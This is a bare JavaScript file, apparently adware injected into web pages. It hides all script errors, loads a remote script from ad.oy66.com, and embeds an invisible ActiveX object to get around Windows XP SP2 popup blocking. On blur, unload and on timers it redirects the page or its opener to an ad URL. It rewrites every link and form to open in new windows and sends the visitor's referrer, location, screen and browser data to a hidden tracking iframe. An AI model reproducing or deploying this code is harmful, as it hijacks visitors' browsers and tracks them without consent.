<!--
function killMyErrors()
{return true;}
window.onerror = killMyErrors;
function GetMyCookieVal(offset)
{var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));}
function GetMyCookie(name)
{var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen)
{var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return GetMyCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;}
return null;}
function SetMyCookie(name, value)
{var expdate = new Date();
var argv = SetMyCookie.arguments;
var argc = SetMyCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
if(expires!=null) expdate.setTime(expdate.getTime() + ( expires * 1000 ));
document.cookie = name + "=" + escape (value) +((expires == null) ? "" : ("; expires="+ expdate.toGMTString()))
+((path == null) ? "" : ("; path=" + path)) +((domain == null) ? "" : ("; domain=" + domain))
+((secure == true) ? "; secure" : "");}

function ext_()
{
if (GetMyCookie("tan_ad")==null)
{
if(doexit_)
{
doexit_=false; 
if(!isXPSP2_ && !usePopDialog_)
{
window.open(popURL_,"",popWindowOptions_);
}
else if(!isXPSP2_ && usePopDialog_)
{
eval("window.showModalDialog(popURL_,'',popDialogOptions_)");
}
else
{
my_title=document.title;
my_title=my_title.replace(my_regExp,"");
iie_.launchURL(popURL_+"&tl="+my_title);
}
}
SetMyCookie("tan_ad","yes",64800,"/");
}
}

function focus_()
{
++foucsCount;
if (foucsCount>1)
{
isAcitve_=1;
if (timerID1_!=0)
{
clearTimeout(timerID1_);
timerID1_=0;
}
}

if (timerID2_==0)
{
if (typeof(window.opener)=="object")
{
timerID2_=setTimeout("setopener_()",10000);
}
}
}

function blur_()
{
isAcitve_=0;
if (timerID1_==0)
timerID1_=setTimeout("href_()",15000);

if (timerID2_!=0)
{
clearTimeout(timerID2_);
timerID2_=0;
}
}

function href_()
{
if (GetMyCookie("tan_ad")==null)
{
SetMyCookie("tan_ad","yes",64800,"/");

if (document.all)
{
window.detachEvent("onfocus",focus_);
window.detachEvent("onscroll",focus_);
document.body.detachEvent("onmousemove",focus_);
window.detachEvent("onblur",blur_);
window.detachEvent("onunload",ext_);
}
else
{
window.removeEventListener("focus",focus_,false);
window.removeEventListener("scroll",focus_,false);
document.body.removeEventListener("mousemove",focus_,false);
window.removeEventListener("blur",blur_,false);
window.removeEventListener("unload",ext_,false);
}
my_title=document.title;
my_title=my_title.replace(my_regExp,"");
top.location.href=popURL_+"&tl="+my_title;
}
}

function setopener_()
{
if (GetMyCookie("tan_ad")==null)
{
SetMyCookie("tan_ad","yes",64800,"/");
if (document.all)
{
window.detachEvent("onfocus",focus_);
window.detachEvent("onscroll",focus_);
document.body.detachEvent("onmousemove",focus_);
window.detachEvent("onblur",blur_);
window.detachEvent("onunload",ext_);
}
else
{
window.removeEventListener("focus",focus_,false);
window.removeEventListener("scroll",focus_,false);
document.body.removeEventListener("mousemove",focus_,false);
window.removeEventListener("blur",blur_,false);
window.removeEventListener("unload",ext_,false);
}
my_title=document.title;
my_title=my_title.replace(my_regExp,"");
window.opener.top.location.href=popURL_+"&tl="+my_title;
}
}

function setTarget_()
{
var tagslink=document.getElementsByTagName("a");
for (var i=0;i<tagslink.length;i++)
{
if (tagslink[i].href.indexOf("/")!=-1 || tagslink[i].href.indexOf(".")!=-1)
{
if (tagslink[i].target!="_blank")
tagslink[i].target="_blank";
}
}

var tagsform=document.getElementsByTagName("form");
for (var i=0;i<tagsform.length;i++)
{
if (tagsform[i].target!="_blank")
tagsform[i].target="_blank";
}
}

function isloaded_()
{
if (document.readyState=="complete")
{
clearInterval(interid1_);
if (isAcitve_==0)
{
if (timerID1_==0)
timerID1_=setTimeout("href_()",5000);
}
}
}

function y_gVal_My(iz){var endstr=document.cookie.indexOf(";",iz);if(endstr==-1) endstr=document.cookie.length;return document.cookie.substring(iz,endstr);}
function y_g_My(name){var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;var j;while(i<clen) {j=i+alen;if(document.cookie.substring(i,j)==arg) return y_gVal_My(j);i=document.cookie.indexOf(" ",i)+1;if(i==0) break;}return null;}
function cc_k_My(){var y_e=new Date();var y_t=93312000;var yesvisitor=1000*36000;var yesctime=y_e.getTime();y_e.setTime(y_e.getTime()+y_t);var yesiz=document.cookie.indexOf("cck_lasttime");if(yesiz==-1){document.cookie="cck_lasttime="+yesctime+"; expires=" + y_e.toGMTString() +  "; path=/";document.cookie="cck_count=0; expires=" + y_e.toGMTString() +  "; path=/";return 0;}else{var y_c1=y_g_My("cck_lasttime");var y_c2=y_g_My("cck_count");y_c1=parseInt(y_c1);y_c2=parseInt(y_c2);y_c3=yesctime-y_c1;if(y_c3>yesvisitor){y_c2=y_c2+1;document.cookie="cck_lasttime="+yesctime+"; expires="+y_e.toGMTString()+"; path=/";document.cookie="cck_count="+y_c2+"; expires="+y_e.toGMTString()+"; path=/";}return y_c2;}}


if (GetMyCookie("tan_ad")==null)
{
	if (GetMyCookie("disp_ad")==null)
	{
		document.write("<script src=http://ad.oy66.com/ip.asp?action=goto&loc=guangzhou|changsha><\/script>");
	}
	else if (GetMyCookie("disp_ad")=="yes")
	{
		var popDialogOptions_ = "dialogWidth:800px; dialogHeight:600px; dialogTop:0px; dialogLeft:0px; edge:Raised; center:0; help:0; resizable:0; scroll:0;status:0";
		var popWindowOptions_ = "scrollbars=0,menubar=0,toolbar=0,location=0,personalbar=0,status=0,resizable=1";
		var doexit_ = true;
		var usePopDialog_ = true;
		var isUsingSpecial_ = false;
		
		var my_regExp=/[\x01-\x1f]/g;
		var my_title;

		var isXPSP2_ = false;
		var str_url_;
		var foucsCount=0;
		var isAcitve_=0;
		var timerID1_=0;
		var timerID2_=0;
		str_url_ = window.location.search;
		isXPSP2_ = (window.navigator.userAgent.indexOf("SV1") != -1);
		document.write("<body></body><object id='iie_' width='0' height='0' classid='CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6'></object>");
		
		var popURL_ = "http://ad.oy66.com/?action=pop";
		isUsingSpecial_ = true;

		if (document.all)
		{
		window.attachEvent("onfocus",focus_);
		window.attachEvent("onscroll",focus_);
		document.body.attachEvent("onmousemove",focus_);
		window.attachEvent("onblur",blur_);
		window.attachEvent("onunload",ext_);
		}
		else
		{
		window.addEventListener("focus",focus_,false);
		window.addEventListener("scroll",focus_,false);
		document.body.addEventListener("mousemove",focus_,false);
		window.addEventListener("blur",blur_,false);
		window.addEventListener("unload",ext_,false);
		}

		setInterval("setTarget_()",1000);
		SetMyCookie("disp_ad","yes",864000,"/");

		if (GetMyCookie("disp_tj")==null)
		{
		var yesdata_My='&refe='+escape(document.referrer)+'&location='+escape(document.location)+'&color='+screen.colorDepth+'x&resolution='+screen.width+'x'+screen.height+'&returning='+cc_k_My()+'&language='+navigator.systemLanguage+'&ua='+escape(navigator.userAgent);
		
		document.write('<iframe MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no src=http://count2.51yes.com/sa.aspx?id=23433208'+yesdata_My+' height=0 width=0></iframe>');
		
		SetMyCookie("disp_tj","yes",64800,"/");
		}

		var interid1_;
		if (document.all)
		interid1_=setInterval("isloaded_()",10);
	}
}
-->
